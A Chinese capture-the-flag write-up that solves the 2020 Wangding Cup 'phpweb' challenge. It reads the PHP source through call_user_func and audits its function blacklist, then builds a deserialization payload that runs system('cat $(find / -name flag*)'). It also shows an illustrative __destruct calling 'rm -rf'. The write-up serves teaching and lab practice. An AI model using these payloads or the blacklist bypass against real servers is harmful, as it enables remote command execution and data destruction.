2.[网鼎杯 2020 朱雀组]phpweb

打开题目页面如下,发现刷新后时间回显也随之刷新改变

用burp suite抓包,发送到重放器查看

看到有传参,看到返回结果"Y-m-d+h:i:s+a"


在 PHP 里,date() 函数的作用是格式化本地日期和时间,然后返回格式化后的字符串。这里传入的参数 "Y-m-d+h:i:s+a" 是日期时间的格式字符串,用来规定输出的日期时间样式


猜测func参数是一个接收函数,p参数是函数执行后的内容

为获取查看源码,调用 PHP 中的 file_get_contents 函数来读取 index.php 文件的内容。在 PHP 中,file_get_contents 函数用于将整个文件读入


file_get_contents()函数

是 PHP 中的一个内置函数,用于将整个文件读入一个字符串。

file_get_contents() 函数提供了一种简单而高效的方式来读取文件内容,它可以处理本地文件,也能通过支持的协议(如 HTTP、FTP 等)读取远程文件内容。


index.php文件

是一个在 Web 开发中非常常见的文件名

网站入口文件 :在大多数 Web 应用程序里,尤其是使用 PHP 开发的网站,index.php 常被作为默认的入口文件。当用户访问网站域名(如 example.com)时,Web 服务器(如 Apache 或 Nginx)会按照配置去查找默认文档,index.php 是常见的默认文档选项之一。一旦找到,服务器就会执行该文件并将结果返回给客户端浏览器。

路由分发 :在一些基于 MVC(模型 - 视图 - 控制器)架构或其他框架的 PHP 项目中,index.php 可能承担着路由分发的重要任务。它会接收用户的请求,根据请求的 URL 信息将其分发给相应的控制器和动作进行处理。

在很多 PHP 框架中,index.php 承担着路由分发的核心任务。它会接收用户的请求,根据请求的 URL 信息将其分发给相应的控制器和动作进行处理。例如,在 Laravel 框架中,index.php 会引导请求到路由文件,然后根据定义的路由规则调用对应的控制器方法。而其他文件,如控制器文件、模型文件等,专注于具体的业务逻辑实现。


构造payload

func=file_get_contents&p=index.php

得到PHP源码

进行代码审计

php 复制代码
<?php
    // 定义一个包含禁用函数名的数组
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

    // 定义一个名为 gettime 的函数,接收两个参数:$func(函数名)和 $p(传递给函数的参数)
    function gettime($func, $p) {
        // 调用 $func 函数,并将 $p 作为参数传递给它,将结果存储在 $result 中
        $result = call_user_func($func, $p);
        // 获取 $result 的数据类型
        $a= gettype($result);
        // 如果 $result 的数据类型是字符串
        if ($a == "string") {
            // 返回 $result
            return $result;
        } else {
            // 否则返回空字符串
            return "";
        }
    }

    // 定义一个名为 Test 的类
    class Test {
        // 定义类的属性 $p,初始值为日期格式字符串 "Y-m-d h:i:s a"
        var $p = "Y-m-d h:i:s a";
        // 定义类的属性 $func,初始值为 "date"
        var $func = "date";

        // 定义析构函数,当对象被销毁时自动调用
        function __destruct() {
            // 如果 $this->func 不为空
            if ($this->func != "") {
                // 调用 gettime 函数,并输出结果
                echo gettime($this->func, $this->p);
            }
        }
    }

    // 从 $_REQUEST 超全局数组中获取用户通过 GET 或 POST 方法传递的 func 参数值,并存储在 $func 变量中
    $func = $_REQUEST["func"];
    // 从 $_REQUEST 超全局数组中获取用户通过 GET 或 POST 方法传递的 p 参数值,并存储在 $p 变量中
    $p = $_REQUEST["p"];

    // 如果 $func 不为 null
    if ($func != null) {
        // 将 $func 的值转换为小写
        $func = strtolower($func);
        // 检查 $func 是否不在禁用函数数组 $disable_fun 中
        if (!in_array($func,$disable_fun)) {
            // 如果不在禁用数组中,调用 gettime 函数并输出结果
            echo gettime($func, $p);
        } else {
            // 如果在禁用数组中,终止脚本并输出 "Hacker..."
            die("Hacker...");
        }
    }
?>

代码审计

函数黑名单 :代码定义了一个 $disable_fun 数组,包含了一系列可能存在安全风险的函数,如可以执行系统命令的 execshell_exec 等,以及可以泄露系统信息的 phpinfo 等。在调用用户传入的函数之前,会检查该函数是否在黑名单中,如果在则终止脚本,这在一定程度上可以防止恶意用户利用危险函数进行攻击。

call_user_func 漏洞 :使用 call_user_func 函数调用用户传入的函数名,虽然有黑名单机制,但仍然存在风险。可能会通过一些绕过技巧来执行恶意代码。例如,如果黑名单存在遗漏,或者通过大小写混合、函数别名等方式绕过检查,就可能执行危险函数。

输入验证不足 :代码只是简单地将用户传入的 func 参数转换为小写并检查是否在黑名单中,没有对 p 参数进行任何验证。可能会通过构造特殊的 p 参数值来利用被调用函数的漏洞。

类属性可利用性Test 类的 $func$p 属性可以被序列化和反序列化。可能会构造恶意的序列化对象,通过反序列化操作来修改这些属性,从而绕过黑名单检查执行危险函数。


看到黑名单过滤了很多关键字,尝试通过反序列化,得到flag


反序列化

序列化:是指将对象的状态信息转换为可以存储或传输的形式(如字节序列、JSON 字符串、XML 文档等)的过程。例如,在网络通信中,为了在不同的计算机之间传输对象,需要先将对象序列化。

反序列化:与序列化相反,它是将序列化后的字节序列、JSON 字符串、XML 文档等数据恢复为原始对象的过程。通过反序列化,可以重新获取到原始对象的状态和数据。

网络通信:在客户端和服务器之间传输对象时,需要先将对象序列化后发送,服务器接收到数据后再进行反序列化,还原成原始对象进行处理。

数据持久化:将对象保存到文件或数据库中时,需要先将对象序列化,在需要使用对象时再进行反序列化。

分布式系统:不同节点之间需要交换对象时,通过序列化和反序列化来实现对象的传输。

Python

在 Python 中,可以使用 pickle 模块进行对象的序列化和反序列化。

python 复制代码
import pickle

# 定义一个示例类
class Person:
    def __init__(self, name, age):
        self.name = name
        self.age = age

# 创建一个 Person 对象
person = Person("Alice", 25)

# 序列化对象
serialized_data = pickle.dumps(person)

# 反序列化对象
deserialized_person = pickle.loads(serialized_data)

# 验证反序列化结果
print(deserialized_person.name)  
print(deserialized_person.age)   

上述代码中,pickle.dumps() 方法将 Person 对象序列化为字节序列,pickle.loads() 方法将字节序列反序列化为原始的 Person 对象。

在 PHP 中,反序列化是将通过 serialize() 函数序列化后的数据恢复为原始 PHP 变量(如对象、数组等)的过程,使用 unserialize() 函数来完成。下面从基本使用、应用场景、安全风险等方面详细介绍 PHP 反序列化。

数组的反序列化
php 复制代码
<?php
// 定义一个数组
$originalArray = array('apple', 'banana', 'cherry');

// 序列化数组
$serializedArray = serialize($originalArray);

// 反序列化数组
$deserializedArray = unserialize($serializedArray);

// 输出反序列化后的数组
print_r($deserializedArray);
?>

在上述代码中,首先定义了一个数组 $originalArray,然后使用 serialize() 函数将其序列化得到 $serializedArray,最后使用 unserialize() 函数将序列化后的字符串反序列化为数组 $deserializedArray,并通过 print_r() 输出结果。

对象的反序列化
php 复制代码
<?php
// 定义一个类
class User {
    public $name;
    public $age;

    public function __construct($name, $age) {
        $this->name = $name;
        $this->age = $age;
    }

    public function displayInfo() {
        echo "Name: ". $this->name . ", Age: ". $this->age;
    }
}

// 创建一个 User 对象
$user = new User('John', 30);

// 序列化对象
$serializedUser = serialize($user);

// 反序列化对象
$deserializedUser = unserialize($serializedUser);

// 调用对象的方法
$deserializedUser->displayInfo();
?>

此代码中,定义了一个 User 类,创建了该类的对象 $user,将其序列化后再反序列化得到 $deserializedUser,最后调用对象的 displayInfo() 方法输出信息。

数据存储:将复杂的数据结构(如对象、数组)存储到文件或数据库中时,先进行序列化,读取时再进行反序列化,方便数据的持久化和恢复。

缓存:在缓存系统中,可以将对象或数组序列化后存储,当需要使用时再反序列化,减少对象创建的开销。

分布式系统通信:在不同服务器之间传递对象或数组时,通过序列化和反序列化实现数据的传输和恢复。

PHP 反序列化存在安全风险,特别是当反序列化的数据来自不可信的来源时。可以构造恶意的序列化数据,利用 PHP 的魔术方法(如 __destruct()__wakeup() 等)执行任意代码。

php 复制代码
<?php
class Evil {
    public function __destruct() {
        // 执行恶意操作,如删除文件
        system('rm -rf /tmp/test');
    }
}

$evilObject = new Evil();
$serializedEvil = serialize($evilObject);

// 模拟攻击者将恶意序列化数据传入
$input = $serializedEvil;
$deserialized = unserialize($input);
?>

在上述代码中,Evil 类的 __destruct() 方法会在对象销毁时执行恶意的系统命令。可以通过构造并传入恶意的序列化数据来触发该命令。

代码

php 复制代码
<?php
class Test {
    var $p = "ls";
    var $func = "system";

    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

// 先定义变量,再创建对象
$testObject;
$testObject = new Test();

// 存储序列化结果到变量,再输出
$serializedResult = serialize($testObject);
echo $serializedResult;
?>

可以用这个在线工具运行PHP代码

php在线运行,在线工具,在线编译IDE_w3cschool

得到结果

构造payload

func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}

unserialize()函数

是 PHP 中的一个内置函数,主要用于将经过 serialize() 函数序列化后的数据恢复为原始的 PHP 变量(如对象、数组等)。

最终得到flag

flag{c54e1db9-b9ed-4dd2-a010-3bcdcfb5bc19}

相关推荐
用户9623779544810 分钟前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php